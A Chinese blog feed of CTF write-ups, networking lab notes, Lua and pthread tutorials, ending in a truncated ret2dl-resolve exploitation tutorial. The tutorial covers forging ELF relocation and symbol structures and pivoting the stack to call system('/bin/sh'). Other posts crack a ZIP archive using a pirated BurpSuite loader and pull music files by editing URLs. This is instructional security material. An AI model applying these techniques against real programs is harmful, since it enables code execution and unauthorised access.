RCTF{2b482cfdcc32e434a4527c3723bf89b8}
附上源代码:
1 |
|
这一题真的是极限做出啊好吧!!!我还以为有机会回到30名以内的QvQ。。。
观察程序逻辑,此程序中多次调用了系统操作,猜测是重构了loader部分的逻辑(?)。仔细观察,会发现尝试打开/proc/pid/exe文件,并且对文件本身进行一定的检测。
/proc目录是一种文件系统,即proc文件系统。与其它常见的文件系统不同的是,/proc是一种伪文件系统(也即虚拟文件系统),存储的是当前内核运行状态的一系列特殊文件,用户可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过更改其中某些文件来改变内核的运行状态。
/proc/pid/exe 包含了正在进程中运行的程序链接,也就是说这个exe实际上是当前pid对应的程序。
在检查文件没有问题后,该程序逻辑会强行执行一个unlink,由于本身并没有文件链接,于是会进入【创建一个可执行程序】的逻辑:
注意,在逻辑后方有一处对程序关键代码进行校验的地方(如下),在不进行任何操作下,这个校验一定是不能通过的。
但是这个步骤发生的时候,我们需要的文件已经生成了。于是此时我们可以直接拷贝一份文件出来(生成的文件因为忙碌不能使用),使用IDA分析:
(右边生成的文件,左边是拷贝的)
逻辑相比清晰多了:利用管道让两个进程间通信,子进程结束后,父进程就进入lol函数进行flag的处理。lol部分有一点麻烦,于是直接用gdb进行调试:
同样有一个坑点,显然是出题人故意不让程序流执行过去,如果我们绕过了这个逻辑后,会发现有一个输出:
这个就是处理后的flag:
1 | rhelheg |
话说这题很简单嘛???为什么我看最后就剩100多分。。。我其实并没有看懂逻辑来着。。。
真tm的蠢啊我!!!!!!这个是一个UPX啊啊啊啊:
摔!!!!!!!!!!!!!!
简直是pwn的转型啊!我pwn一题都没做啊摔!!!
]]>~lua的table有点python dict的意思,但是又不完全是一个hash映射,更像是一个对象。~
上述说法经大佬提示修改:
lua的table就是一个hash映射。后面给出具体解释
这里我们给出例子:
1 | > b = {'aaaa',1} |
这个就是最简单的lua的table的格式,lua允许将任何类型的数据放在table之中(甚至是lua里面的nil类型),在获取数据的时候,有好几种类型:
1 | > b = {['aaa']=1} |
1 | > t = {{a=1,b=2},{c=3,d=4}} |
1 | > function test() |
lua也是讲究面向对象的变成方式。这里以函数为例讲解一下。
1 | > Class = {} |
我们首先定义了一个table叫做class,其中有属性x,y分别为1,2。然后这里我们使用了:作为函数定义给了Class,并且让其输出**[本Class的x,y]**。然后如果我们按照昨天教的方法调用函数的话:
1 | > Class.printmy() |
此时会报错,printmy函数会尝试去寻找self对应的变量,显然我们没有去定义,自然不存在的,所以就无法找到对应的变量。然而我们使用:去访问的时候会变成:
1 | > Class:printmy() |
由于:的符号,会将self(或者this)理解成当前对象,然后就会到当前对象中查找x和y属性,所以就能够顺利的找到这个属性并且输出。
]]>首先找到了虾米的网站,利用google chrome自带的开发者工具查看里面的内容:
然而这里调用了js代码,从这里我们似乎不能找到对应的链接的位置。加上我是一个web小白,完全不知道浏览器的这些js代码会出现在什么位置,所以我只能采用别的方法查找了。
既然听歌的时候数据来自于网络,那么,这个音乐的数据必然会经过网络传输过来。加上一般网页都会将音乐文件缓存在本地,那么肯定在传输过程中有一个下载的过程。于是我们这里使用wireshark抓取一下传输的数据包。
首先确定了自己当前的ip地址为:
并且确定了虾米音乐的ip地址为:
140.205.220.98
然后在wireshark中使用指令: ip.addr == 140.205.220.98 找到相关数据:
http://www.xiami.com/song/playlist/id/1769139997/cat/json
注意这个箭头指向的数据包,可以看到在完成了tcp三次握手之后,立刻就收到了来自虾米的数据包*,并且这个数据包很有意思,从url中看是一个json,json里面传输了很多数据,会不会就包含了相关的音乐数据呢?然后这里进行相关数据查看:
仔细看这其中,有一个叫做 “filePath” 的属性!这个属性的下面会不会就是我们的音乐呢?下载了后发现的确是的!于是就成功的找到了虾米音乐的json存放的url**(虽然这个url下并没有VIP超高级音质的路径)
url中的/id/后方的数据就是一个文件的表示,所以通过修改这个数据,就能够接触到任意的json文件,实现直接下载!(好吧其实页面本身也提供了这个功能)
说到C盘瘦身,首先还是得看看自己的电脑里面不能删掉的东西。一般来说
这三个地方的东西我们还是不要去动比较好,毕竟是比较好(或者说还没弄清楚里面都有啥)。
然后我们可以发现除了这三个文件之外,还有别的文件夹:
在查找过后,发现WMWare和VirtualBox会默认的将虚拟机安装在这个目录,于是怒删。。。。
这下小了不少。然而现在好像还不是特别小,于是我们可以使用一个叫做MakeRoom的软件,通过这个软件我们就能够快速的查找电脑里面的大文件:
通过这个方式,我们能够找到更多的大文件,这里我们记录一个特殊的文件:
c:/windows/installer
这个文件好大,我这边几乎都有11GB了。这个文件夹里面存放的都是.msi文件。
这个文件夹的内容里面其实存放的是Windows Intaller安装应用程序的注册信息:%systemRoot%\Installer文件夹保存着所有基于Windows Installer安装的应用软件的注册信息,一旦此文件受损,那么基于Windows Installer安装的相关软件将无法正常运行,你需要重新安装基于是Windows Installer安装的应用软件,以修复%systemRoot%\Installer文件夹中的注册信息。以Office为例,当你删除了这个文件夹中的内容后,Office的安装程序将无法使用,无论是重新安装,修复、添加和删除Office组件,都无法运行,此时你必须手动删除Office,然后再重新安装。
Windows Installer是一个软件组件和一个Windows用于安装,维护和删除软件的一个接口。这个安装包中存放了安装信息以及文件中的一些可选的功能,这就被称为**.msi文件**。这个文件的文件夹的名字对数据库进行松散的关联为COM结构化存储器。并且会包含之前的重大改变。我们在使用.msi安装的时候,我们的能够保证
也就是说,这个文件夹里面放着的东西非常重要,要是删除了的话,我们卸载文件就会非常困难,自然是不能删除的。这里提供一个符号链接更改的办法:
1 | mklink /D C:\Windows\Installer 移动的路径\Installer |
这样的话能够构建一个符号链接。通过这个方式,能够让系统访问C:\Windows\Installer的时候,自动访问到 我们移动到的位置上。
加上删掉了VS多余的组件,C盘终于小了30GB左右,终于可以移动系统了~
]]>此时实验的网络拓扑图:
首先要连接端口:
A18对应的是内网的g0/1,A23对应的是外网的g0/2
操作的代码如下:
1 | Zone name Trust //设置内网 |
(Zone)域基本分为:local、trust、dmz、untrust这四个是系统自带不能删除,除了这四个域之外,还可以自定义域。域之间如果不进行策略的设置的话,那么域和域之间是不能沟通的。
优先级为:local>trust>dmz>untrust
首先,通过zone设置内网(Trust),并且让当前的端口g0/1设置在内网;同理我们也可以设置外网以及关联端口,然后用NAT路由转发协议完成内网地址到外网地址的路由转发,从而让内网的ip与外网ip能够互相沟通。最后,通过设置这个outbound,trust(优先级高)能够往untrust(优先级低)方向进行数据转发,于是就能够实现外网不能向内网发送数据包,而内网数据包可以向外网发送。
结果如下:
本机地址:129.38.1.2
刚刚通过设置优先级的方式,实现了内网与外网的沟通限制,但是有时候我们也需要实现部分内容允许反向沟通,也就是某些场景下,外网的主机也要能够访问内网。这个场景下,我们就需要设置额外对象,代码配置如下:
1 | // 配置可通过的防火墙 |
Interzone通过设置source和destination,能够设置策略让UnTrust的数据包往Trust发送,从而能够打通一个通道,让Trust和UnTrust实现某些协议实现沟通。
最终的实现结果如下:
本机地址:202.38.160.2
首先这里补充一下多进程的相关知识:
当我们fork一个进程的时候,操作系统会为我们分配一个独立的.text, .data,.stack和.heap(好像是这么叫的?),并且由于进程之间的地址空间独立,进程与进程之间的通信也得是用IPC(inner-process communication),于是相对应的共享部分资源的线程就诞生了。
虽然线程并不会拷贝完整的地址空间,但是线程本身也有线程上下文(thread context),包括
鲜花曾由内核自动调度,并且通过内核的唯一整数ID来识别线程。同时线程运行在单一进程的上下文中,共享这个进程虚拟地址空间的整个内容 – 代码,数据,堆栈,共享库和打开的文件。
线程存在主线程这种说法,也就是最初存在进程中的线程。线程不存在父子层次,而是按照对等线程的概念创建的,也就是说,主线程会维护一个线程池,对等线程之间可以互相杀死对方,并且可以互相共享数据。
创建线程:
1 | int pthread_create((pthread_t *tid, pthread_attr_t *attr, void *func(void*), void *arg) |
创建线程
终止线程:
由于主线程的存在,当主线程中之后,所有的线程会隐式的终止。
或者,我们使用下面的函数显示终止一条线程。如果终止的是主线程,那么会等待其他线程执行完成再终止。
1 | void pthread_exit(void *thread_return) |
注意,如果我们在某条线程中调用exit,则整条进程都会关闭。
回收线程:
1 | pthread_join(pthread_t tid, void** thread_return); |
1 | int pthread_detach(pthread_t tid); |
使用场景:当我们想让我们的线程在完成整个执行过程再被销毁的时候,会使用分离线程
线程由于共享的内容比较多,所以及其容易发生竞争的问题,竞争其实是一个比较隐晦的问题,我们这里主要讨论一下:
下列是一个例子(从CSAPP中抄来的。经测试,似乎和书上写的不一样,但是发现20000次执行的话, 也只是发生50次左右的错误)
1 |
|
代码的大致逻辑就是让cnt自增1,由于我们在两条线程中执行了这段代码,答案应该就是niters * 2,但是实际上(书上的例子)是:
1 | linux> ./badcnt 200000 |
本机上测试了200000次之后,出现了大致50次错误:
这个出错的原因要追溯到汇编代码上:
1 | movl (%rdi), %ecx| |
Hi和Ti分别是for语句的开头和结尾,不是重点,重点在于L,U,S三个过程。当程序并不是按照顺序去执行这句话的,于是当整个程序并发执行的时候,有时候会发生如下的过程:
H2, L2, H1, L1, U1, S1, T1, U2, S2, T2
重点就在L2和L1以及U1发生的时机,L2发生load cnt的时候,L1也开始进行了,此时进入了U1,更新了当前的eax,然而我们原来的认为中,L1和L2所在线程都应该会导致一次eax的增加,然而由于L2在L1之前将cnt读取出来,于是两者中其实相当于只有一次发生了数值的增加。
上述情况就是典型的竞争。
对于竞争的判断,我们可以使用一种叫做进度图的方式去图形化这个进程的过程:
进度图通过将线程抽象成笛卡尔坐标系中的轴进行模拟。图中点(L1, S2)表示此时完成了L1和S2两个状态。合法的状态转换是只能往坐标系的正坐标方向前进。
我们从之前的状态观察可以知道,某一些状态的发生其实是无所谓的,比如Hi和Ti。而其他三个是事件必须要同时发生,否则的话就会发生错误。拥有共享变量的访问我们称为互斥的访问。Li, Ui, Si称为临界区。临界区的交集称为不安全区,在图片中表现如下:
当我们走到(T1, T2)的时候,程序就会结束。同时我们如果进过不安全区的边界,也不会触发竞争。所以相当于找一条从远点到(T1, T2)的路线就是一个安全的撞他。
为了保证临界区的状态能够在同一个时间段内进行,也就是解决同步不同执行线程问题,也就是信号量。信号量是具有非负整数值的全局变量,只能由两种操作处理
信号量提供了一种思想来处理这种情况,基本思想就是将每个共享变量和一个信号量s(初始量为1)联系起来,然后用P(s)和V(s)操作将相应的临界区包围起来。以提供互斥为目的的二次元信号量叫做互斥量(mutex)。此时P叫做加锁,V叫做解锁。互斥锁加了锁但是还没有解锁的县城称为占用这个互斥锁。哟组可用资源的计数器的信号量叫做计数信号量。
对于之前的例子,我们能够进行如下改正:
1 | volatile int cnt = 0; |
其实是一个模拟的过程
实际中比如多媒体系统的编码视频与解码,生产者是视频编码, 消费者是解码并且显示。缓冲区则是为了减小视频的抖动时数据的差异而创建的。又或者图形用户接口,生产者是检测鼠标和键盘事件,消费者是处理事件并且显示,而缓冲就是事件优先队列。
为了处理上述的问题,首先要考虑两个地方的阻塞:
于是可以写出如下结构体:
1 | typedef struct{ |
每次开始这个模型处理之前,我们进行初始化
1 | /* |
通过初始化,我们能够确定下列的表格:
信号 | 初始化值 | 变化时机 |
---|---|---|
mutex | 1 | 写入/取出发生前置-1,发生后变为+1 |
slots | n | 写入一次-1,取出一次+1 |
items | 0 | 取出一次-1,写入一次+1 |
于是我们可以将消费者参与和生产者参与两个过程抽象成如下函数:
1 | // 生产者插入数据 |
如果n = 1的时候,这些锁是不是真的需要呢?
我们来看,当n = 1的时候,一旦写入,就相当于缓冲区满了,此时生产者由于sp->slots限制无法再次往缓冲区里面写入数据,因此不需要mutex来限制这个过程。
这其实是一个互斥问题的概括。比如说同时对一个数据库进行读写。显然,读取的时候可以多个角色一起读,但是写的时候只能一个个写,并且每一个写者都要拥有独占的访问。
对于这类问题,其实可以分成两个问题来考虑
1 | int readcnt; |
写作业在设计多线程的时候有点迷糊,这里记录一下思考过程:
我们知道,多线程设计存在两种方式 – 条件变量和信号量两种,现在我们根据一个例题来思考两者的区别;
存在缓冲,所以我们首先要保证下列目标:
同时,我们能够得下列的关系图:
这里注意到,有一些条件本身是有包含关系的:
因此我们可以确定我们需要满足的互相依赖关系为:
为了完成我们的目的,显然是要通过循环来实现的。但是我们不能保证这三个循环哪个顺序执行,所以要有一个限制条件来限制执行的过程:
(正确流程)
(错误流程)
如何来限制循环呢?我们这里采取先前【读者 – 写者】的模型来实现。我们使用一个循环来劫持程序流,同时保证
为了模拟这个缓冲区,我们使用两个数组来描述:
1 | char buffer1[CAPACITY], buffer2[CAPACITY]; |
然后,我们要模拟【生产者生产】,【计算者计算】和【消费者消费】三个过程,于是这里的使用in指向生产者的当前数据,cal指向计算者需要操作的数据,out指向消费者需要输出的数据.
三个过程抽象成逻辑分别如下:
保证生产者在缓冲区写满的时候不再写入数据,也就是说,in指针+1要永远小于cal
保证计算者完成计算前,消费者不会往前继续取出数值,也就是cal+1要永远小于out
结合一下两者的要求,我们可以转换成下列的条件:
初始化的时候,将所有的信号量的初值定为0:
1 | res = sem_init(&sem_producer, 1, 0); // sem_init(sem_t *信号量, int 信号本身是否在进程间共享, int 信号量初值) |
然后我们在循环处,利用PV操作将计算者和消费者卡在循环处:
1 | while(buffer_is_calculate()) |
关键:在这之后,我们使用mutex将当前操作上锁
1 | pthread_mutex_lock(&mutex); |
之后我们就能够正常的完成我们的作业操.完成后,发送信号量到下一个操作对象处并且解锁:
1 | sem_post(&sem_next_one); |
这样就能够实现利用信号量阻塞部分操作,并且让指定操作在某些作业后之后执行
条件变量和信号量不太一样,条件变量是多线程中实现[等待->唤醒]功能的关键参数.举个例子来说:
1 | // thread 1 |
这里的cond_mutex就相当于是一个[带有条件的mutex],并且此时卡在当前指定的mutex上,当线程2开始执行之后,发出的信号将会重新激活thread 1,将其重新运行.这里的程序运行顺序为:
1 | thread1 lock --> thread1 cond wait -- > thread1 unlock(but wait) -- > thread2 lock --> thread2 cond wait --> thread2 unlock --> thread1 lock(wait) --> thread1 unlock |
这里注意到,和信号量相比最主要的区别还是在这个lock和unlock的位置.也就是说当我们使用条件变量的时候,我们的操作逻辑应该是先上锁,再设条件
1 | pthread_mutex_lock(&mutex); |
之后的逻辑和信号量差不多,只是这里使用的是激活操作;
1 | pthread_cond_signal(&wait_for_calc); |
这题下载下来就是一张图片:
binwalk处理后得到内部存在另一个文本:
使用以下指令:
解压后得到文本bug0u},发现这里好像只有一半的内容,另一半在哪里呢?我们用
stegsolve检查一下图片:
最后在蓝通道中找到了这段文字。
首先查看代码对读入的处理逻辑(听说有些人不能f5处理,但是我这边比较幸运)
这个a2就是我们读入的字符串。注意几个坑人的地方:看到上面的红色线框的位置, flag这个变量阻止我们进入的逻辑中,存在将我们的输入^0x14后存放到b数组的逻辑中。然而我们可以看下一段check内容:
从这里可以看出,我们的check逻辑是将b的内容进行比较。如果我们前面没有能够成功赋值的话,我们此时b中的内容将一直是’ ',显然是错误的。所以我们需要在动态调试的过程中将这个flag改成1(马上有第二个坑)。
继续看上面那幅图,会注意到我们的随机数种子是固定的,都是srand(0xc),也就是说,随机数的生成时固定的。因此我们可以在动态调试的过程中将我们需要得到的字符串暴力破解出来:
最后注意到,这段并不是密码。我们在
中的第二个红框中存在第二个坑:此时的flag不能是1,要重新改回0,才会进入第二个判断语句。并且这里将变量c中的内容输出:
最终会得到:
这个题目我觉得还是有很大的脑洞成分在里面的。。。
1 | # -*- coding:utf8 -*- |
同样的,额也是因为没有设置随机数种子导致的随机数不随机。那么其实我们只要稍微改一下代码就能够得到答案:
1 | # -*- coding:utf8 -*- |
然后,这一题没这么简单。。。。仔细看密码最后一段,发现是16进制编码,得到答案:
shuiying}
前面一整段强行base64解码后,会发现中间那段是base64处理后字符串:
anxiang
最前面那段想了很久,发现只有大写字母和一些数字,于是猜测base32:
hbctf{base_nice
最终得到flag
hbctf{base_nice_anxiang_shuiying}
首先我们发现这个zip文件也是加密的zip:
我们使用ZipCenOp这个软件进行伪加密的解密处理后,发现文件被损坏。说明此时的确是存在密码的。然后我们发现这个压缩包里面并不是所有文件都是获取不到的:
这个BurpLoader应该是可以从网上下载到的,这个文件其实是BurpSuite破解版使用的载入程序。加上题目中有提升到说,要从指定的网站下burpsuite。于是这里将那个位置上下载burpsuite后,将文件目录组织如下:
文件夹
|-- BurpLoader
然后将文件夹整个压缩成压缩包。
最后使用神奇AZRP中的plain-text的选择明文攻击,分别填写文件目录:
最后按下start、就可以进行选择明文破解。之后会让我们选择将解压后的文件的存放位置,我们就能够得到解药后的zip了。
这是一个RSA,文件内容如下:
1 | c:0x258f85f5d08a95a909a4d9a4c66bf4249fba21091ddfe9fcfcd33c9f4cf285af9eb99c77f839a1a7ee7791c1e98f023adf3b02561a8c45e651f1984852b9a0280e24bee7bd4fc95d217b874f135e693f748d7b |
这里比较头疼的是这个dp和dq。n完全可以使用各种花式网站分解成p和q,然后我们会发现,此时我们不知道e或者d,导致我们没办法解密。晚上一着急没想到要去google找,后来找到的内容如下:
1 | dp = d mod p - 1(dP = (1/e) mod (p-1)) |
换句话说,我们这里可以利用p和q快速的找到d!
首先上网址大素数分解,得到p和q:
1 | p = 3423616853305296708261404925903697485956036650315221001507285374258954087994492532947084586412780871 |
然后可以上网找到这类算法的快速解法:
1 | qInv = (1/q) mod p |
快速的写一个脚本解决好了:
这种数学的东西。。。看的脑大。。。
首先看实验要求:
根据要求来看,我们其实是将路由器划分成两个端口,然后让不同的端口之间相互沟通。然后我们看接下来的代码可知:
1 | [h3c-switch] |
配置vlan41和vlan42:
142.16.1.1/24 和 142.16.2.1/24 然后将 vlan42 下的其中一个口与路由器的 g0 口相连,然后设置路由器的 g0 口和 vlan42 位于同一个网段,在配置 g1 口即可.
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++=
晚上做完实验才被告知,实验中没有提供完整的代码,而且提供的网络拓扑图是错的。。。干,怪不得上述的代码看上去不能运行的样子。。。
真实要求:
让主机142.16.1.66通过路由器与交换机进行数据传输,并且在最后实现和vlan41下的某台主机进行通信。
上述的代码只是在配置交换机而已,于是这里需要配置一下路由器:
首先复习一下我们的网络设备:
于是根据我们实现的网络拓扑图的要求,我们需要将主机与路由器15端口相连接,并且简单配置路由器中的状态(路由器的配置代码如上)。
此时我们第一次检查我们端口情况,发现是可以ping通的。于是检查此时的路由器中的配置情况:
当Link下出现了up状态的时候,就说明此事后的路由是接通的。其实这里一开始有个小插曲,我们一开始的时候并没有将路由器的g1/0完成接通,因为我以为,路由器的内部是这样的:
然而实际上,路由器的内部就好像电路一样。只有接通了的时候才会发生连接。于是第二次的时候,我把路由器接到了接线口A中的交换机里面(注意我们之前提到过的,A口中的为二层交换机,并不具备路由功能),结果依然是失败了。。。。
最后在助教的帮助下,终于意识到交换机的问题,将网线从A19接到了B8,才终于把这一关过了。。。
虽然上述代码实现了从142.16.1.2路由到142.16.3.1的功能,但是为了实现到交换机的路由,我们还需要配置一下交换机:
由于此时路由器g0/1和交换机的eht1/0/8设置在了同一网段内,所以交换机会自动进行转发,然后我们同构设置142.16.3.7、142.16.4.1和142.16.2.3进行osfp转发,实现不同数据包的传输。
(PS:由于计算机的数量不足+搞得太晚了,于是我们在这里只是完成了142.16.4.1的配置,于是另一个接口就down掉了。。。)
最后我们还要将目标机子的ip设置在同一个ip网段内,并且设置网关,让数据包默认走142.16.4.1,从而主机通过路由器,与不同网段内的交换机中的vlan下主机进行交互
实验要求:
由上图可知,大概是模拟现实中的路由器之间的连接,然后利用ospf完成ip查找。根据拓扑图,我们设置路由器1的g0(A15)与路由器2的g0(A14)相连接,并且让两台主机分别与路由器1g1(A19)和路由器2g1(A20)连接。
代码如下:
1 | [H3C-route1] |
设置完该协议(关键记得shutdown打开端口),然后我们进行ping测试:
(172.16.3.22 对 172.16.1.1 网关ping)
(172.16.5.54 对 172.16.1.1 网关ping)
(172.16.3.22 对 172.16.5.54 ping)
由之前的实验,我们大概了解了路由器和交换机之间的基本数据传输的过程,那么我们就可以通过设置防火墙来进行包的过滤:
由于防火墙设置好了,我们就不需要接线处理了,于是我们只需要输入代码:
1 | 定义源 IP 为 172.16.3.22 的 ACL |
我们直接使用了上一张图中的网络拓扑图,所以大致逻辑还是一样的。我们产生的结果就是,此时172.16.5.54企图ping 172.16.3.22的时候会被拦截下来。
这个玩意儿通过选中GameObject,然后ctrl 6呼出
然后,在如下的界面中选择add clip,或者选择左上角的红色按钮选中录制,就能够一帧一帧的添加动画:
如果需要选择某些特定动作下的动画修改的时候,切忌直接选中对应的animation文件,而是应该通过如上方方法选中gameobject对象中的animation(此时unity才能知道你需要修改的animation是什么),然后在左上角选择不同的动画:
首先我们开始实验的网络拓扑图为:
(可能有点问题)
我们的四台机子分别接上了集线器的6,3,1,2孔,由于接在了同一个交换机中,形成了一个网络。然后第一个实验内容为通过DMC控制台接入交换机,所以我们需要将第24孔用一根线接入到我们前8个孔形成的内网中,从而让我们能够与DMC形成一个局域网,从而完成接入。
这个过程并不顺利,因为我们的电脑一开始的时候并没有被分配IP,所以我们需要手动的配置自己的IP
(设置的IP)
在这里选择使用下列的IP地址,并且配置成与DMC同一网段的IP地址:192.168.10.xxx,并且设置相应子网掩码。然后使用telnet协议进入DMC控制台(由于DMC被同学使用中,这里进入了H3C路由器里面。。)
然后由于没有使用交换机,所以知道直接配置了路由器2333:
这里配置了路由器的vlan 1的接口,将接口的ip设置为192.168.1.250 24,即是说设置的ip地址前24位为有效网络号,此时就确定了我们路由器的虚拟网络的网段。当我们将主机ip都设置成这个ip段内的时候,我们就能接入这个虚拟网络。
这个比较有意思,可以实现同一个switch上的虚拟网络划分、不同switch之间通信,以及跨虚拟网访问。
相关设置
1 | system // 进入system |
port Ethernet 指令:
交换机的端口均采用3位编号方式:interface type A/B/C
配置 PC1 :ip address:172.16.1.1/24 默认网关:172.16.1.254
配置 PC2 :ip address:172.16.1.2/24 默认网关:172.16.1.254
配置 PC3 :ip address:172.16.2.1/24 默认网关:172.16.2.254
配置 PC4 :ip address:172.16.2.2/24 默认网关:172.16.2.254
然后,PC1和PC2就会加入到设置了172.16.2.254为网关的交换机Vlan 20中,而PC3和PC4会加入到色湖之了172.16.1.254为网关的Vlan10中:
因此,两台计算机之间不能发生通信。
代码如下:
1 | [H3C- - S1]: |
这里使用了ospf协议,这里解释一下使用ospf的相关概念:
AS自治系统 :一组使用相同路由协议交换路由信息的路由器。
rounte id:一台运行ospf协议路由器,每一个ospf进程必须存在自己的route ID。(是一个32bit的无符号整数,用于在AS中唯一的标识一台路由器)
注意这里,在H3C中设置了Loopbakc0 172.16.3.1,其实是为了给当前的交换机一个Route ID,从而实现ospf。而由于第二个H3C S2接入了H3C S1中的虚拟网络,因此只需要设置相关network,让本机上192.16.2.254网段使能ospf,从而与vlan 20 通信。
1 | [H3C-S1] : |
这里比较有趣的是,本地依然使用了vlan隔离。然而我们可以看到,用于我们在Ethernet 3 端口中,设置了port类型为trunk,这个端口允许来自指定vlan id的数据包通过,所以当我们的数据从Ethernet 3 出去的时候,数据就会经过trunk通道,此后另一个交换机上的Ethernet 3 会接受来自vlan 10 和20的数据包,然后根据ip 的vlan决定数据包是传输还是丢弃。
这个实验由于当时自己笨手笨脚的,最后也没有昨晚,一直拖到第二天才终于搞懂了原理。。。。小白学习大佬求轻拍_(:3)<
发现博客居然被好多人看了。。。回过头来看发现这个介绍的return-to-dl-resolve
并不是标准攻击方法QvQ,所以在文章后半段会介绍常用的ret2dl-resolve应该如何攻击。
我们知道,程序分为静态链接和动态链接,在处理动态链接的时候,elf文件会采取一种叫做延迟绑定的技术,也就是当我们位于动态链接库的函数被调用的时候,编译器才会真正确定这个函数在进程中的位置,从而在第二次调用的时候减少绑定的时间。
这里我们以HBCTF中的pwn200的程序为例子讲解一下漏洞的利用。首先我们以read函数为例子:
在这里,read函数的地址是0x08048380。这里的read函数位于.plt段内,内部并没有什么实际内容,而是跳转到ds:08049804指定的位置,然后我们跟踪过去看:
可以看到,这个地方是一个叫做.got.plt的段的位置,但是这里具体写了什么呢,IDA并没有告诉我们,所以这里我们要尝试直接使用gdb跟踪看看:
可以看到,这个位置就是read函数中,jmp指令的下一个指令的地址。由于jmp指令是取出当前地址中存储的值作为对应地址,也就是说接下来会跳转到地址0x080498386中。由于IDA中并没有将后续的指令显示出来,我们在gdb中截图为:
这里关注jmp之后的两个指令。这两个指令首先push了一个0x0(这个值叫做reloc_offset
,下文会提到),然后跳转到了这个0x08048370地址中,这个地址中的代码为:
1 | 0x8048370: push DWORD PTR ds:0x80497fc |
这里把地址0x080497fc压栈并且调到上个地址下一个位置中存放的内容中去,这个0x080497fc
地址中的函数叫做**_dl_runtime_resolve(动态链接运行解析?)**
这里我们来分析一下这些过程在做什么:
首先,程序为了解析read函数的位置,跳转到了.plt(Procedure Linkage Table, 程序连接表)中查询read函数的地址。然而我们此时是第一次调用,还暂时未知read函数所在的位置,于是程序在.got.plt中存放的不是read函数真正的地址,而是read函数在.plt段
中地址+6的一个push + jmp
的地址。为了实现解析的过程,.plt中会存放当前函数在.rel.plt节中的偏移。ELF文件中的文件信息是以节section的形式存在的,这个read函数的节也不例外,所以当我们去查找read函数的基本信息的时候,自然是要在对应的节中查找。这个节的查看方式我们可以用
1 | readelf -d |
来查看dynamic(重定位节):
这里我们关注这四个节:
1 | typedef struct { |
也就是说,前面一段存放的是当前函数的偏移量,后面存放的则是当前函数的信息。我们看还未运行时候的read中存放的是:
正好就是我们开始讨论的那个read跳转到的.got.plt
的地址,在结构体中就是r_offset。
然而光知道上述信息,我们怎么能够在动态链接中找到我们指定的函数呢?这里就要谈到另一个节**.dynsym**
这个节存放的是所有动态符号表中所包含的符号,也就是.rel的集合。这个表中的内容的结构体为:
1 | typedef struct |
然后可以看到我们例子中的read为
我们回到上述。rel.plt图中所示,我们的read->r_info == 0x107,此时的ELF32_R_SYM(info)(字面理解就是在.dynsym中的偏移位置)就是1,正好就是第一条数据。此时read中存放的st_name = 0x27,然后我们此时会去相应的.dynstr节中查找对应的下表指向的字符串:
通过上述方法,我们就能够找到"read"这个符号。我们这里可以回想一下PA实验(或者所gdb中)是如何完成变量表达式求值这个过程的:我们首先将字符串读入一个函数中,然后我们便利所有的符号表,从而找到一个符号名字与我们提供的字符串的名字相同的符号,然后再在相应的符号表中查询对应的值。类比一下的话,这个动态链接函数的过程也就是类似的:
1 | // param link_map:链接标识符 |
此处的link_map
为一个很长长长长的结构体,里面的结构大致如下:
1 | struct link_map |
是一个用来记录当前进程中的每一个.so
文件的基本信息,里面包含了一些与函数导入相关的内容。
调用这个_dl_runtime_resolve
的时候,主要操作为:
reloc = (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
&symtab[ELF32_R_SYM(reloc->r_info)]
strtab + sym->st_name
link_map
结合,在进程中将函数给找出来。以上过程便是ret2dl-resolve
攻击方式需要知道的工作流程。接下来我们介绍针对这个流程的几个弱点进行的攻击思路。
在讨论攻击方法之前,我们首先要明白动态链接过程中的关键参数:
.rel.plt
节中的偏移量首先通过reloc_offset
能够找到当前函数在.rel.plt
中的偏移量,然后能够找到函数在动态链接库中存放的字符串,从而能够定位到函数本身的地址。因此这个过程中可以针对这两个地方进行攻击
同时,根据上述提到的方法,我们能够总结出当前攻击的特征:
此方法相对简单,但是其需要的条件比较苛刻
这次的题目提供的解法关键就是修改这个**.dynstr**节。我们把这个节里面指定的字符串改成我们指定的字符串,那么这个_dl_fixup在查找的时候就会去查找我们修改过的函数的地址,从而调用我们想要调用的函数:
也就是说,攻击成功的关键就在于找到.dynstr的位置。我们首先使用
readelf -a infoless
找到.dynstr的地址:
也就是说,我们需要把这个地址改成我们伪造的字符串地址。这个.dynstr的规则是:
readelf -R .dynamic infoless
指令能够看到当前程序中的.dynamic
段中所有的entries的地址,在这里能够找到这个.dynstr所在的位置。之前提到,整个的搜索流程最依赖的就是传入的reloc_offset
,也就是整个流程中最开始的确认的位置。如果我们修改了reloc_offset
,我们刚刚提到的四个流程中,除了得到动态链接库中对应函数的字符串外,其他的结构体都需要进行伪造。不过相对的,这里只需要能够伪造我们选择的一个函数即可。
攻击的流程需要做到如下的事情:
_dl_runtime_resolve(struct link_map *l, ElfW(Word) reloc_offset)
过程,具体来说就是通过修改传入参数offset,让整个识别过程偏移到一个我们可控的区域内,然后完成对变量ElfW(Sym)
,ELF_rel
以及Symtab
三个值的伪造,从而伪造整个动态绑定的过程首先这里的ROP链构造,我们构造如下栈
1 | +---------------------+ |
通过将栈构造成如上的形式,首先利用pop,将ebp的地址修改程我们指定的一个栈的起始地址,然后通过leave指令,将当前的ebp的值传递给esp,从而实现将整个栈迁移到fake_stack_addr的功能。
tips:leave这个指令执行完esp <- ebp之后,还会执行一次pop,所以在整个fake_stack_addr_的最开始要放入一个padding用于传递给ebp
之后esp就相当于指向了一个受控制的栈。在这个栈中,我们尝试去调用一个_dl_runtime_resolve
,进行一次伪造的动态函数地址绑定。接着上面的栈,此时我们的栈内容为:
1 | +---------------------+ |
这里的ret_addr和arg1可以通过动态调试得知。ret_addr为当前整个绑定完成之后会回到的返回地址,而arg1则是发生绑定过程中所调用的函数所在的位置。在攻击的最后一步,需要在arg1的为之中填写我们需要调用的参数(例如我们最后将函数绑定到了system函数上,此处我们就应该填写/bin/sh
的地址)
这里我们要伪造成任意一个函数调用_dl_runtime_resolve
的样子。设此时我们伪造的Elf32_Rel结构体起始地址为fake_reloc,这个fake_rel_addr最好设置程.bss
段上的一个位置。由于rel_offset在函数中_dl_runtime_resolve的用法如下:
1 | Elf32_Rel reloc = addr(.rel.plt) + reloc_offset |
则此时我们需要伪造的rel_offset为
1 | fake_rel_offset = fake_reloc - addr(.ret.plt) |
之后我们来讨论关于这个fake_reloc的伪造过程。
首先这个fake_reloc的结构体为:
1 | typedef struct { |
第一个变量中填写了需要重定位的函数的.got
